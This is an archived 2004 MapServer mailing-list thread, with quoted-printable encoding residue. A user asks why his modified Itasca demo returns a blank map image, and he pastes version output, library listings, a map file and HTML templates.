When loading the Initialize file the renamed = Itasca demo for shows then select the basic application.  The normal = Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255.  It was 255 255 255 which was white but I changed to this = blue for testing.

 

The scale bar in the lower left corner is in Kilometres and adjusts on Zoom In and Out.

 

I have included a lot of information below but I need assistance to move on I think.  =

 

I saw in a previous post that it may be related to = the projection but my knowledge of these topics is very limited. =

 

Thank you for any = assistance.

 

Andrew Rich

Maps Downunder

 

=3D=3D=3D=3D mapserv40 –v = =3D=3D=3D=3D

 

MapServer version 4.2.0 OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP SUPPORTS=3DPROJ = SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER SUPPORTS=3DWMS_CLIENT SUPPORTS=3DWFS_SERVER = SUPPORTS=3DWFS_CLIENT INPUT=3DEPPL7 INPUT=3DOGR INPUT=3DGDAL = INPUT=3DSHAPEFILE

 

=3D=3D=3D=3D  ldd /var/www/cgi-bin/mapserv40 =3D=3D=3D=3D

 

        libgd.so.2 =3D> /usr/local/lib/libgd.so.2 = (0x4002b000)

        libjpeg.so.62 =3D> /usr/lib/libjpeg.so.62 = (0x40064000)

        libfreetype.so.6 =3D> /usr/lib/libfreetype.so.6 = (0x40082000)

        = libpng.so.3 =3D> /usr/local/lib/libpng.so.3 = (0x400c1000)

        libproj.so.0 =3D> /usr/local/lib/libproj.so.0 = (0x400ee000)

        libgdal.so.1 =3D> /usr/local/lib/libgdal.so.1 = (0x40121000)

        libcurl.so.3 =3D> /usr/local/lib/libcurl.so.3 = (0x40417000)

        = libdl.so.2 =3D> /lib/libdl.so.2 (0x40444000)

        libm.so.6 =3D> /lib/i686/libm.so.6 = (0x40447000)

        libc.so.6 =3D> /lib/i686/libc.so.6 = (0x42000000)

        libpthread.so.0 =3D> /lib/i686/libpthread.so.0 = (0x40469000)

        libXpm.so.4 =3D> /usr/X11R6/lib/libXpm.so.4 = (0x4047d000)

        libX11.so.6 =3D> /usr/X11R6/lib/libX11.so.6 = (0x4048b000)

        libpng12.so.0 =3D> /usr/local/lib/libpng12.so.0 = (0x40561000)

        libz.so.1 =3D> /usr/lib/libz.so.1 = (0x4058e000)

        libodbc.so.1 =3D> /usr/lib/libodbc.so.1 = (0x4059c000)

        libungif.so.4 =3D> /usr/lib/libungif.so.4 = (0x405f9000)

        = libstdc++-libc6.2-2.so.3 =3D> /usr/lib/libstdc++-libc6.2-2.so.3 = (0x40601000)

        libssl.so.2 =3D> /lib/libssl.so.2 = (0x40644000)

        libcrypto.so.2 =3D> /lib/libcrypto.so.2 = (0x40672000)

        /lib/ld-linux.so.2 =3D> /lib/ld-linux.so.2 = (0x40000000)

 

 

=3D=3D=3D=3D /etc/ld.so.conf = =3D=3D=3D=3D

 

/usr/kerberos/lib

/usr/X11R6/lib

/usr/lib/qt2/lib

/usr/lib/mysql

/usr/lib/qt-3.0.5/lib

/usr/lib/sane

/usr/local/lib

/usr/lib/python1.5/site-packages

 

=3D=3D=3D=3D MAP FILE = =3D=3D=3D=3D

 

#

# Start of map file

#

NAME DEMO

STATUS ON

SIZE 600 400

EXTENT -180 -90 180 90  # Whole = world

 

UNITS DD

SHAPEPATH = "data"

IMAGECOLOR 100 100 = 255

#FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt"

 

CONFIG GDAL_DATA = "data"

 

IMAGETYPE PNG

#  = OUTPUTFORMAT

#    NAME = "gif"

#    MIMETYPE "image/gif"

#    DRIVER "GD/GIF"

#    EXTENSION "gif"

#    IMAGEMODE PC256

#    TRANSPARENT FALSE

#  END

 

#

# Projection definition, consult the PROJ.4 = documentation for parameter discussi

#

 

PROJECTION

  = "init=3Depsg:4326"

END

 

#

# Start of web interface = definition

#

 

WEB

  = #HEADER demo_header.html

  = TEMPLATE giofinder_basic.html

  = #FOOTER demo_footer.html

  = IMAGEPATH "/var/www/html/maps/giofinder/tmp"

  = IMAGEURL "/giofinder/tmp/"

END

 

#

# Start of reference map

#

 

#

# Start of legend

#

 

LEGEND

  = KEYSIZE 18 12

  = LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 = 89

  = END

  STATUS = ON

 

#

# Start of map file

#

NAME DEMO

STATUS ON

SIZE 600 400

EXTENT -180 -90 180 90  # Whole = world

 

UNITS DD

SHAPEPATH = "data"

IMAGECOLOR 100 100 = 255

#FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt"

 

CONFIG GDAL_DATA = "data"

 

IMAGETYPE PNG

#  = OUTPUTFORMAT

#    NAME "gif"

#    MIMETYPE "image/gif"

#    DRIVER "GD/GIF"

#    EXTENSION "gif"

#    IMAGEMODE PC256

#    TRANSPARENT FALSE

#  END

 

#

# Projection definition, consult the PROJ.4 = documentation for parameter discussi

#

 

PROJECTION

  = "init=3Depsg:4326"

END

 

#

# Start of web interface = definition

#

 

WEB

  = #HEADER demo_header.html

  = TEMPLATE giofinder_basic.html

  = #FOOTER demo_footer.html

  = IMAGEPATH "/var/www/html/maps/giofinder/tmp"

  = IMAGEURL "/giofinder/tmp/"

END

 

#

# Start of reference map

#

 

#

# Start of legend

#

 

LEGEND

  = KEYSIZE 18 12

  = LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 = 89

  = END

  STATUS = ON

END

 

#

# Start of scalebar

#

 

SCALEBAR

  = IMAGECOLOR 255 255 255

  = LABEL

    COLOR 0 0 0

    SIZE small

  = END

  STYLE = 1

  SIZE = 250 4

  COLOR = 0 0 0

  UNITS KILOMETERS

  = INTERVALS 5

  = TRANSPARENT FALSE

  STATUS = TRUE

END

 

#

# Start of symbol = definitions

#

 

SYMBOL

  NAME = 'circle'

  TYPE = ellipse

  FILLED = TRUE

  POINTS = 1 1 END

END

 

#

# Start of layer = definitions

#

 

########## RASTER = ##############

 

LAYER

  NAME = topo8

  TYPE = RASTER

  DATA = topo8.tif

  STATUS = OFF

  = PROJECTION

   = "proj=3Dlatlong"

   = "ellps=3DWGS84" # Geographic

  = END

END

 

 

END # Map File

 

 

 

 

=3D=3D=3D=3D INITIALIZE FILE = =3D=3D=3D=3D

 

<html>

  = <head>

    <title>Maps Downunder GioFinder Application</title>

    <script language=3D"javascript">

      function submit_form() = {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.selectedIndex].value= ;

        = if(template.indexOf("frame") !=3D -1) document.demo.action =3D "frames.html";

        = if(template.indexOf("dhtml") !=3D -1) document.demo.action =3D "frames_dhtml.html";

<html>

  = <head>

    <title>Maps Downunder GioFinder Application</title>

    <script language=3D"javascript">

      function submit_form() = {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.selectedIndex].value= ;

        = if(template.indexOf("frame") !=3D -1) document.demo.action =3D "frames.html";

        = if(template.indexOf("dhtml") !=3D -1) document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

    <script language=3D"javascript">

      function submit_form() = {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.selectedIndex].value= ;

        = if(template.indexOf("frame") !=3D -1) document.demo.action =3D "frames.html";

        = if(template.indexOf("dhtml") !=3D -1) document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

  = </head>

  = <body bgcolor=3D"#FFFFFF">=

 

    <center><h2>Maps Downunder = GioFinder = Application</h2></center>

    <p><hr><p>

    This demonstration application will take you through various = levels of complexity. Starting with a basic application = that

    = allows a user to pan/zoom and change layers we = add:

    <ul>

      = <li> dynamically = configured scalebars

      = <li> javascript-based panning

      = <li> query results to = a frame

   =    <li> and finally, a DHTML rubber-band = zoom/query capabilty

    </ul>

 

    = <!-- EDIT THE FORM ACTION = -->

    <form name=3D"demo" method=3D"GET" action=3D"/cgi-bin/mapserv40" onSubmit=3D"submit_form()">

 

<!--

      = <input type=3D"hidden" name=3D"layer" = value=3D"contours">

      = <input type=3D"hidden" name=3D"layer" = value=3D"dlgstln2">

-->

      = <input type=3D"hidden" name=3D"zoomsize" value=3D2>

 

      <!-- EDIT THESE HIDDEN VARIABLES = -->

      = <input type=3D"hidden" name=3D"map" value=3D"/var/www/html/maps/giofinder/world.map">

      = <input type=3D"hidden" name=3D"program" value=3D"/cgi-bin/mapserv40">

      = <input type=3D"hidden" name=3D"root" value=3D"/giofinder">

      = <input type=3D"hidden" name=3D"map_web_imagepath" value=3D"/var/www/html/maps/giofinder/tmp/">

      = <input type=3D"hidden" name=3D"map_web_imageurl" value=3D"/giofinder/tmp/">

 

      = <select name=3D"map_web_template" size=3D"1">

        <option value=3D"giofinder_basic.html"> Basic = Application

        <option value=3D"giofinder_adds_scalebar.html"> = &nbsp;&nbsp;-- Adds = second scalebar

        <option value=3D"giofinder_adds_pan.html"> = &nbsp;&nbsp;-- Adds = pan controls

        <option value=3D"giofinder_adds_frames.html"> = &nbsp;&nbsp;-- Adds = frames

        <option value=3D"giofinder_adds_dhtml.html"> = &nbsp;&nbsp;-- Adds = dhtml rubber-band box

      = </select>

      = <input type=3D"submit" = value=3D"Initialize"></center>

 

    </form>

 

    <p><hr><p>

  = </body>

</html>

 

 

 

 

=3D=3D=3D=3D TEMPLATE HTML = =3D=3D=3D=3D

 

<html>

  = <head>

    <title>Maps Downunder GioFinder Application</title>

    <script language=3D"javascript">

      function submit_form() = {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.selectedIndex].value= ;

        = if(template.indexOf("frame") !=3D -1) document.demo.action =3D "frames.html";

        = if(template.indexOf("dhtml") !=3D -1) document.demo.action =3D "frames_dhtml.html";

<html>

  = <head>

    <title>Maps Downunder GioFinder Application</title>

    <script = language=3D"javascript">

      function submit_form() = {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.selectedIndex].value= ;

        = if(template.indexOf("frame") !=3D -1) document.demo.action =3D = "frames.html";

        = if(template.indexOf("dhtml") !=3D -1) document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

    <script language=3D"javascript">

      function submit_form() = {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.selectedIndex].value= ;

        = if(template.indexOf("frame") !=3D -1) document.demo.action =3D "frames.html";

        = if(template.indexOf("dhtml") !=3D -1) document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

<html>

  = <head>

<html>

<head>

  = <title>Maps Downunder - GioFinder Application</title>

</head>

<body bgcolor=3D"#ffffff">

 

<center><h1>Maps Downunder - GioFinder Application</h1></center>

<hr>

<form method=3D"GET" = action=3D"[program]" name=3D"mapserv">

 

<center>

<table border=3D"0" cellspacing=3D"0" cellpadding=3D"4">

<tr>

<td valign=3D"top" align=3D"center">

  = <table width=3D"390" border=3D"0" cellspacing=3D"0" cellpadding=3D"4" = align=3D"center" bgcolor=3D"#666666">=

    <tr>

      <td align=3D"center"><input type=3D"image" = name=3D"img" src=3D"[img]" width=3D"[mapwidth]" height=3D"[mapheight]" = border=3D"0" alt=3D"this is the = map"></td>

    </tr>

    <tr><td bgcolor=3D"#666666">=

      = <img title=3D"scalebar (mi)" alt=3D"scalebar (mi)" = src=3D"[scalebar]">

    </td></tr>

  = </table>

</td>

<td valign=3D"top" bgcolor=3D"#ffffff">

  = <table cellpadding=3D"5" cellspacing=3D"0" border=3D"0" bgcolor=3D"#ffffff">

    <tr><td>

=

      = <center><input type=3D"submit" value=3D"Refresh/Query"></center>

      = <p>

 

      = <input type=3D"radio" name=3D"mode" = value=3D"browse" checked> <b>Browse map</b><br>

      = <input type=3D"radio" name=3D"mode" = value=3D"query"> <b>Query feature</b><br>

      = <input type=3D"radio" name=3D"mode" value=3D"nquery"> <b>Query multiple features</b>

 

      = <hr>

 

      = <p>

      = <b>Select Layers to Display: </b><br>

      = <select multiple name=3D"layer" = size=3D3>

        <option value=3D"contours" [contours_select]> Contours

        <option value=3D"waterbodies" [waterbodies_select]> Lakes & = Rivers

<!--=         <option value=3D"lakespy2" [lakespy2_select]> = Lakes & Rivers

        <option value=3D"dlgstln2" [dlgstln2_select]> = Streams

        <option value=3D"roads" [roads_select]> Roads

        <option value=3D"twprgpy3" [twprgpy3_select]> = Townships

        <option value=3D"drgs" = [drgs_select]> USGS 1:250,000 = Quads

-->

      = </select>

 

      = <p>

      Zoom In = <input type=3Dradio name=3Dzoomdir value=3D1 = [zoomdir_1_check]>

      Pan = <input type=3Dradio name=3Dzoomdir value=3D0 = [zoomdir_0_check]>

      Zoom = Out <input type=3Dradio name=3Dzoomdir = value=3D-1 [zoomdir_-1_check]>

      = <p>

      Zoom = Size <input type=3Dtext name=3Dzoomsize = size=3D4 value=3D[zoomsize]>

      = <p>

 

      = <font size=3D+1><b>Legend</b></font><br><hr>

      = <img src=3D"[legend]"><hr>=

 

      = <p>

      <center><input name=3D"ref" = type=3D"image" src=3D"[ref]" border=3D"0"></center>

    </td></tr></table>=

 

  </td></tr>

</table>

</center>

 

<input type=3D"hidden" = name=3D"imgxy" = value=3D"[center]">

<input type=3D"hidden" = name=3D"imgext" value=3D"[mapext]">

<input type=3D"hidden" = name=3D"map" value=3D"[map]">

<input type=3D"hidden" = name=3D"root" value=3D"[root]">

<input type=3D"hidden" = name=3D"savequery" = value=3D"true">

 

<input type=3D"hidden" = name=3D"program" value=3D"[program]">

<input type=3D"hidden" = name=3D"map_web_imagepath" value=3D"[map_web_imagepath]">

<input type=3D"hidden" = name=3D"map_web_imageurl" value=3D"[map_web_imageurl]">

<input type=3D"hidden" = name=3D"map_web_template" value=3D"[map_web_template]">

 

</form>

 

<p><hr><p><= /p>

 

<a href=3D"[root]/index.html">back to start</a><p>

<i>[map_web_template]</i>

 

</body></html>

 

------=_NextPart_000_000C_01C44ADD.03542310-- From devel at itdownunder.com.au Fri Jun 4 16:41:03 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Sat, 5 Jun 2004 09:41:03 +1000 Subject: [Mapserver-users] Blank or no image returned In-Reply-To: <000b01c44a89$31a81310$65c8a8c0@arlaptop> Message-ID: <001301c44a8d$664ca640$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C44AE1.37F8B640 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All Additional information I just discovered in the httpd error.log and comparing to the tmp dir 3 images are created but it appears 1 is not. -rw-r--r-- 1 apache apache 125 Jun 5 09:50 DEMO108639305823136.png -rw-r--r-- 1 apache apache 83 Jun 5 09:50 DEMOleg108639305823136.png -rw-r--r-- 1 apache apache 358 Jun 5 09:50 DEMOsb108639305823136.png There is no DEMOref108639305823136.png file So any idea now? Thank you Andrew Rich Maps Downunder Hi All I have Mapserv 4.2 installed and works with Itasca demo. I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF Tyler has given me a .map file which I am adjusting to the paths of my mapserv server. When loading the Initialize file the renamed Itasca demo for shows then select the basic application. The normal Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255. It was 255 255 255 which was white but I changed to this blue for testing. The scale bar in the lower left corner is in Kilometres and adjusts on Zoom In and Out. I have included a lot of information below but I need assistance to move on I think. I saw in a previous post that it may be related to the projection but my knowledge of these topics is very limited. Thank you for any assistance. Andrew Rich Maps Downunder ==== mapserv40 -v ==== MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ==== ldd /var/www/cgi-bin/mapserv40 ==== libgd.so.2 => /usr/local/lib/libgd.so.2 (0x4002b000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40064000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40082000) libpng.so.3 => /usr/local/lib/libpng.so.3 (0x400c1000) libproj.so.0 => /usr/local/lib/libproj.so.0 (0x400ee000) libgdal.so.1 => /usr/local/lib/libgdal.so.1 (0x40121000) libcurl.so.3 => /usr/local/lib/libcurl.so.3 (0x40417000) libdl.so.2 => /lib/libdl.so.2 (0x40444000) libm.so.6 => /lib/i686/libm.so.6 (0x40447000) libc.so.6 => /lib/i686/libc.so.6 (0x42000000) libpthread.so.0 => /lib/i686/libpthread.so.0 (0x40469000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x4047d000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x4048b000) libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x40561000) libz.so.1 => /usr/lib/libz.so.1 (0x4058e000) libodbc.so.1 => /usr/lib/libodbc.so.1 (0x4059c000) libungif.so.4 => /usr/lib/libungif.so.4 (0x405f9000) libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40601000) libssl.so.2 => /lib/libssl.so.2 (0x40644000) libcrypto.so.2 => /lib/libcrypto.so.2 (0x40672000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) ==== /etc/ld.so.conf ==== /usr/kerberos/lib /usr/X11R6/lib /usr/lib/qt2/lib /usr/lib/mysql /usr/lib/qt-3.0.5/lib /usr/lib/sane /usr/local/lib /usr/lib/python1.5/site-packages ==== MAP FILE ==== # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE small END STYLE 1 SIZE 250 4 COLOR 0 0 0 UNITS KILOMETERS INTERVALS 5 TRANSPARENT FALSE STATUS TRUE END # # Start of symbol definitions # SYMBOL NAME 'circle' TYPE ellipse FILLED TRUE POINTS 1 1 END END # # Start of layer definitions # ########## RASTER ############## LAYER NAME topo8 TYPE RASTER DATA topo8.tif STATUS OFF PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END END # Map File ==== INITIALIZE FILE ==== Maps Downunder GioFinder Application

Maps Downunder GioFinder Application


This demonstration application will take you through various levels of complexity. Starting with a basic application that allows a user to pan/zoom and change layers we add:

  • dynamically configured scalebars
  • javascript-based panning
  • query results to a frame
  • and finally, a DHTML rubber-band zoom/query capabilty


==== TEMPLATE HTML ==== Maps Downunder GioFinder Application Maps Downunder - GioFinder Application

Maps Downunder - GioFinder Application


scalebar (mi)

Browse map
Query feature
Query multiple features


Select Layers to Display:

Zoom In Pan Zoom Out

Zoom Size

Legend




back to start

[map_web_template] ------=_NextPart_000_0014_01C44AE1.37F8B640 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

Additional information I just = discovered in the httpd error.log and comparing to the tmp = dir

 

3 images are created but it appears = 1 is not.

 

-rw-r--r--    1 apache   = apache        = 125 Jun  5 = 09:50 DEMO108639305823136.png

-rw-r--r--    1 apache   = apache       &nbs= p; 83 Jun  5 = 09:50 DEMOleg108639305823136.png

-rw-r--r--    1 apache   = apache        = 358 Jun  5 = 09:50 DEMOsb108639305823136.png

 

There is no = DEMOref108639305823136.png file

 

So any idea = now?

 

Thank = you

Andrew = Rich

Maps = Downunder

 

 

 

 

Hi All

 

I have Mapserv 4.2 installed and works with = Itasca = demo.

 

I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF

 

Tyler has given me a .map file which I am adjusting to the paths of my mapserv = server.

 

When loading the Initialize file the renamed = Itasca demo for shows then select the basic application.  The normal Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255.  It was 255 255 255 which was = white but I changed to this blue for testing.

 

The scale bar in the lower left corner is in = Kilometres and adjusts on Zoom In and Out.

 

I have included a lot of information below but I need assistance to move on I think.  =

 

I saw in a previous post that it may be related to = the projection but my knowledge of these topics is very limited. =

 

Thank you for any = assistance.

 

Andrew Rich

Maps Downunder

 

=3D=3D=3D=3D mapserv40 –v = =3D=3D=3D=3D

 

MapServer version 4.2.0 OUTPUT=3DPNG OUTPUT=3DJPEG = OUTPUT=3DWBMP SUPPORTS=3DPROJ SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER = SUPPORTS=3DWMS_CLIENT SUPPORTS=3DWFS_SERVER SUPPORTS=3DWFS_CLIENT INPUT=3DEPPL7 INPUT=3DOGR = INPUT=3DGDAL INPUT=3DSHAPEFILE

 

=3D=3D=3D=3D  = ldd /var/www/cgi-bin/mapserv40 =3D=3D=3D=3D

 

        libgd.so.2 =3D> /usr/local/lib/libgd.so.2 = (0x4002b000)

        libjpeg.so.62 =3D> /usr/lib/libjpeg.so.62 = (0x40064000)

        libfreetype.so.6 =3D> /usr/lib/libfreetype.so.6 = (0x40082000)

        libpng.so.3 =3D> /usr/local/lib/libpng.so.3 = (0x400c1000)

        libproj.so.0 =3D> /usr/local/lib/libproj.so.0 = (0x400ee000)

        libgdal.so.1 =3D> /usr/local/lib/libgdal.so.1 = (0x40121000)

        libcurl.so.3 =3D> /usr/local/lib/libcurl.so.3 = (0x40417000)

        libdl.so.2 =3D> /lib/libdl.so.2 = (0x40444000)

        libm.so.6 =3D> /lib/i686/libm.so.6 = (0x40447000)

        libc.so.6 =3D> /lib/i686/libc.so.6 = (0x42000000)

        libpthread.so.0 =3D> /lib/i686/libpthread.so.0 = (0x40469000)

        libXpm.so.4 =3D> /usr/X11R6/lib/libXpm.so.4 = (0x4047d000)

        libX11.so.6 =3D> /usr/X11R6/lib/libX11.so.6 = (0x4048b000)

        libpng12.so.0 =3D> /usr/local/lib/libpng12.so.0 = (0x40561000)

        libz.so.1 =3D> /usr/lib/libz.so.1 = (0x4058e000)

        libodbc.so.1 =3D> /usr/lib/libodbc.so.1 = (0x4059c000)

        libungif.so.4 =3D> /usr/lib/libungif.so.4 = (0x405f9000)

        libstdc++-libc6.2-2.so.3 =3D> = /usr/lib/libstdc++-libc6.2-2.so.3 = (0x40601000)

        libssl.so.2 =3D> /lib/libssl.so.2 = (0x40644000)

        libcrypto.so.2 =3D> /lib/libcrypto.so.2 = (0x40672000)

        /lib/ld-linux.so.2 =3D> /lib/ld-linux.so.2 = (0x40000000)

 

 

=3D=3D=3D=3D /etc/ld.so.conf = =3D=3D=3D=3D

 

/usr/kerberos/lib

/usr/X11R6/lib

/usr/lib/qt2/lib

/usr/lib/mysql

/usr/lib/qt-3.0.5/lib

/usr/lib/sane

/usr/local/lib

/usr/lib/python1.5/site-packages

 

=3D=3D=3D=3D MAP FILE = =3D=3D=3D=3D

 

#

# Start of map file

#

NAME DEMO

STATUS ON

SIZE 600 400

EXTENT -180 -90 180 90  # Whole world

 

UNITS DD

SHAPEPATH = "data"

IMAGECOLOR 100 100 255

#FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt"

 

CONFIG GDAL_DATA = "data"

 

IMAGETYPE PNG

#  = OUTPUTFORMAT

#    NAME "gif"

#    MIMETYPE "image/gif"

#    DRIVER "GD/GIF"

#    EXTENSION "gif"

#    IMAGEMODE PC256

#    TRANSPARENT FALSE

#  = END

 

#

# Projection definition, consult the PROJ.4 = documentation for parameter discussi

#

 

PROJECTION

  "init=3Depsg:4326"

END

 

#

# Start of web interface = definition

#

 

WEB

  = #HEADER demo_header.html

  = TEMPLATE giofinder_basic.html

  = #FOOTER demo_footer.html

  = IMAGEPATH "/var/www/html/maps/giofinder/tmp"

=

  = IMAGEURL "/giofinder/tmp/"

END

 

#

# Start of reference map

#

 

#

# Start of legend

#

 

LEGEND

  = KEYSIZE 18 12

  = LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 89

  = END

  STATUS = ON

 

#

# Start of map file

#

NAME DEMO

STATUS ON

SIZE 600 400

EXTENT -180 -90 180 90  # Whole world

 

UNITS DD

SHAPEPATH = "data"

IMAGECOLOR 100 100 255

#FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt"

 

CONFIG GDAL_DATA = "data"

 

IMAGETYPE PNG

#  = OUTPUTFORMAT

#    = NAME "gif"

#    MIMETYPE "image/gif"

#    DRIVER "GD/GIF"

#    EXTENSION "gif"

#    IMAGEMODE PC256

#    TRANSPARENT FALSE

#  = END

 

#

# Projection definition, consult the PROJ.4 = documentation for parameter discussi

#

 

PROJECTION

  "init=3Depsg:4326"

END

 

#

# Start of web interface = definition

#

 

WEB

  = #HEADER demo_header.html

  = TEMPLATE giofinder_basic.html

  = #FOOTER demo_footer.html

  = IMAGEPATH "/var/www/html/maps/giofinder/tmp"

=

  = IMAGEURL "/giofinder/tmp/"

END

 

#

# Start of reference map

#

 

#

# Start of legend

#

 

LEGEND

  = KEYSIZE 18 12

  = LABEL

    TYPE BITMAP

    SIZE MEDIUM

    COLOR 0 0 89

  = END

  STATUS = ON

END

 

#

# Start of scalebar

#

 

SCALEBAR

  = IMAGECOLOR 255 255 255

  = LABEL

    COLOR 0 0 0

    SIZE small

  = END

  STYLE = 1

  SIZE = 250 4

  COLOR = 0 0 0

  UNITS KILOMETERS

  = INTERVALS 5

  = TRANSPARENT FALSE

  STATUS = TRUE

END

 

#

# Start of symbol = definitions

#

 

SYMBOL

  NAME = 'circle'

  TYPE = ellipse

  FILLED = TRUE

  POINTS = 1 1 END

END

 

#

# Start of layer = definitions

#

 

########## RASTER = ##############

 

LAYER

  NAME = topo8

  TYPE = RASTER

  DATA = topo8.tif

  STATUS = OFF

  = PROJECTION

   "proj=3Dlatlong"

   "ellps=3DWGS84" # = Geographic

  = END

END

 

 

END # Map File

 

 

 

 

=3D=3D=3D=3D INITIALIZE FILE = =3D=3D=3D=3D

 

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

<html>

  = <head>

    <title>Maps Downunder GioFinder = Application</title>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D = document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

    <script = language=3D"javascript">

      = function submit_form() {

        = var template =3D document.demo.map_web_template.options[document.demo.map_web_template.sel= ectedIndex].value;

        if(template.indexOf("frame") !=3D -1) = document.demo.action =3D "frames.html";

        if(template.indexOf("dhtml") !=3D -1) = document.demo.action =3D "frames_dhtml.html";

      = }

    </script>

  = </head>

  = <body bgcolor=3D"#FFFFFF">

 

    <center><h2>Maps Downunder GioFinder Application</h2></center>

   =  <p><hr><p>=

    This demonstration application will take you through various = levels of complexity. Starting with a basic application = that

    allows a user to pan/zoom and change layers we = add:

    <ul>

      = <li> dynamically configured scalebars

      = <li> javascript-based panning

      = <li> query results to a frame

      = <li> and finally, a DHTML rubber-band zoom/query = capabilty

    </ul>

 

    <!-- EDIT THE FORM ACTION -->

    <form name=3D"demo" method=3D"GET" action=3D"/cgi-bin/mapserv40" = onSubmit=3D"submit_form()">

 

<!--

      = <input type=3D"hidden" name=3D"layer" = value=3D"contours">

      = <input type=3D"hidden" name=3D"layer" = value=3D"dlgstln2">

-->

      = <input type=3D"hidden" name=3D"zoomsize" = value=3D2>

 

      <!-- = EDIT THESE HIDDEN VARIABLES -->

      = <input type=3D"hidden" name=3D"map" value=3D"/var/www/html/maps/giofinder/world.map">=

      = <input type=3D"hidden" name=3D"program" value=3D"/cgi-bin/mapserv40">

      = <input type=3D"hidden" name=3D"root" = value=3D"/giofinder">

      = <input type=3D"hidden" name=3D"map_web_imagepath" = value=3D"/var/www/html/maps/giofinder/tmp/">

      = <input type=3D"hidden" name=3D"map_web_imageurl" value=3D"/giofinder/tmp/">

 

      = <select name=3D"map_web_template" = size=3D"1">

        <option value=3D"giofinder_basic.html"> Basic = Application

        <option value=3D"giofinder_adds_scalebar.html"> &nbsp;&nbsp;-- Adds second scalebar

        <option value=3D"giofinder_adds_pan.html"> &nbsp;&nbsp;-- Adds pan controls

